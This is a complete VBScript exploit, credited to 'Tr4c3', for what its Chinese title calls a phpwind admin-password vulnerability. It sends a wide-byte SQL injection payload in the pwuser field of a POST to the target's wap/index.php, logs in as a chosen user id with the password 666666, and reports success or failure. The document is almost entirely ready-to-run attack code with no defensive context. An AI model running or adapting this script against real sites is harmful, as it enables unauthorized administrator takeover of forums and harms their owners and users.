phpwind任意修改管理员密码漏洞 VBS版利用程序

’phpwind任意修改管理员密码漏洞 VBS版利用程序 By Tr4c3 
Dim strUrl, strPost, xPost, strGet 
Set Args = Wscript.Arguments 
If Args.count<>2 Then 
Wscript.Echo "Usage: " & Wscript.ScriptName & " http://hi.baidu.com/tr4c3/ 1" 
Wscript.Quit 
Else 
strUrl = Args(0) & "wap/index.php" 
strPost = "db_wapifopen=1&prog=login&pwuser=shit%c1’union select "& Args(1) &",mid(md5(666666),9,16),3,1,5/*&pwpwd=666666" 
Set xPost = CreateObject("Microsoft.XMLHTTP") 
xPost.open "POST", strUrl, False 
xPost.SetRequestHeader "Referer", strUrl 
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" 
xPost.send(strPost) 
strGet = xPost.ResponseText 
If InStr(strGet,"登录成功")<>0 Then 
   Wscript.Echo("执行成功") 
Else 
   Wscript.Echo("执行失败") 
End If 
End If